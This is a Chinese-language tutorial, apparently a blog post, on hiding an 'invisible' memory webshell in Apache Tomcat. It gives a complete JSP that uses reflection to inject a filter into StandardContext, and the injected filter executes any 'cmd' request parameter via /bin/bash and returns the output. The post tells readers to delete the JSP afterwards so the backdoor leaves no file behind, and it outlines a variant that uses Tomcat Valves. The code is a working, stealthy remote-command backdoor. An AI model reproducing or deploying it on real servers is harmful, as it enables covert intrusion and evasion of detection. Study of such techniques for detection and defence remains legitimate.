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Tomcat源代码调试看不见的 Shell

描述: 调试了 tomcat 从接收到一个socket, 到解析socket 并封装成Request 转发至 Jsp/Servlet 的全过程

Step1.运行时动态插入过滤器
描述:需要了解过滤器的基础概念以及作用, Servlet 规范(应该是从3.0 开始)里面本身规定了一个名为ServletContext 的接口,其中有三个重载方法:

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#三个方法使得我们可以在运行时动态地添加过滤器。
FilterRegistration.Dynamic addFilter(String filterName,String className)
FilterRegistration.Dynamic addFilter(String filterName,Filter filter)
FilterRegistration.Dynamic addFilter(String filterName,Class<? extends Filter> filterClass)

Tomcat 对 ServletContext 接口的实现类为:org.apache.catalina.core.ApplicationContextFacade真正的组装方法位于org.apache.catalina.core.ApplicationFilterFactory#createFilterChain,组装完成后开始调用过滤器链

因为 Tomcat 在对这个接口的实现中,是只允许在容器还没有初始化完成的时候调用这几个方法。
一旦容器初始化已经结束,调用时就会出现异常:

WeiyiGeek.

WeiyiGeek.

shell示例:

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<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ page import="java.io.IOException"%>
<%@ page import="javax.servlet.DispatcherType"%>
<%@ page import="javax.servlet.Filter"%>
<%@ page import="javax.servlet.FilterChain"%>
<%@ page import="javax.servlet.FilterConfig"%>
<%@ page import="javax.servlet.FilterRegistration"%>
<%@ page import="javax.servlet.ServletContext"%>
<%@ page import="javax.servlet.ServletException"%>
<%@ page import="javax.servlet.ServletRequest"%>
<%@ page import="javax.servlet.ServletResponse"%>
<%@ page import="javax.servlet.annotation.WebServlet"%>
<%@ page import="javax.servlet.http.HttpServlet"%>
<%@ page import="javax.servlet.http.HttpServletRequest"%>
<%@ page import="javax.servlet.http.HttpServletResponse"%>
<%@ page import="org.apache.catalina.core.ApplicationContext"%>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig"%>
<%@ page import="org.apache.catalina.core.StandardContext"%>
<%@ page import="org.apache.tomcat.util.descriptor.web.*"%>
<%@ page import="org.apache.catalina.Context"%>
<%@ page import="java.lang.reflect.*"%>
<%@ page import="java.util.EnumSet"%>
<%@ page import="java.util.Map"%>


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Insert title here</title>
</head>
<body>
<%
final String name = "WeiyiGeel";

ServletContext ctx = request.getSession().getServletContext();
Field f = ctx.getClass().getDeclaredField("context");
f.setAccessible(true);
ApplicationContext appCtx = (ApplicationContext)f.get(ctx);

f = appCtx.getClass().getDeclaredField("context");
f.setAccessible(true);
StandardContext standardCtx = (StandardContext)f.get(appCtx);


f = standardCtx.getClass().getDeclaredField("filterConfigs");
f.setAccessible(true);
Map filterConfigs = (Map)f.get(standardCtx);

if (filterConfigs.get(name) == null) {
out.println("inject "+ name);

Filter filter = new Filter() {
@Override
public void init(FilterConfig arg0) throws ServletException {
// TODO Auto-generated method stub
}

@Override
public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2)
throws IOException, ServletException {
// TODO Auto-generated method stub
HttpServletRequest req = (HttpServletRequest)arg0;
if (req.getParameter("cmd") != null) {
byte[] data = new byte[1024];
Process p = new ProcessBuilder("/bin/bash","-c", req.getParameter("cmd")).start();
int len = p.getInputStream().read(data);
p.destroy();
arg1.getWriter().write(new String(data, 0, len));
return;
}
arg2.doFilter(arg0, arg1);
}

@Override
public void destroy() {
// TODO Auto-generated method stub
}
};

FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);

standardCtx.addFilterDef(filterDef);

FilterMap m = new FilterMap();
m.setFilterName(filterDef.getFilterName());
m.setDispatcher(DispatcherType.REQUEST.name());
m.addURLPattern("/*");


standardCtx.addFilterMapBefore(m);


Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
FilterConfig filterConfig = (FilterConfig)constructor.newInstance(standardCtx, filterDef);


filterConfigs.put(name, filterConfig);

out.println("injected");
}
%>
</body>
</html>

访问后如果看到 injected 字样,说明我们的过滤器已经插入成功,随后可以将此 jsp 文件删掉。随后任何带有 cmd 参数的请求都会被此过滤器拦下来,并执行 shell 命令,达到“看不见的 shell”的效果。


Step2.动态插入 Valve
Valve 是 Tomcat 中的用于对Container 组件(Engine/Host/Context/Wrapper)进行扩展一种机制。
Tomcat 中 Container 类型的组件之间的上下级调用基本上都是通过pipeline 与 valve 完成的, 通常是多个Valve组装在一起放在Pipeline 里面;

  • Pipeline 就相当于拦截器链
  • valve就相当于拦截器

Valve 接口定义了如下的 invoke 方法:

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publicvoid invoke(Request request, Response response)
throws IOException, ServletException;

我们只需在运行时向 Engine/Host/Context/Wrapper 这四种 Container 组件中的任意一个的pipeline 中插入一个我们自定义的 valve,在其中对相应的请求进行拦截并执行我们想要的功能,就可以达到与上面Filter 的方式一样的效果。

两种方式相同点:

  • 利用的时候都必须是通过 HTTP 的方式去真正地发起一个请求;
  • 两种方式都会在 Tomcat 重启后失效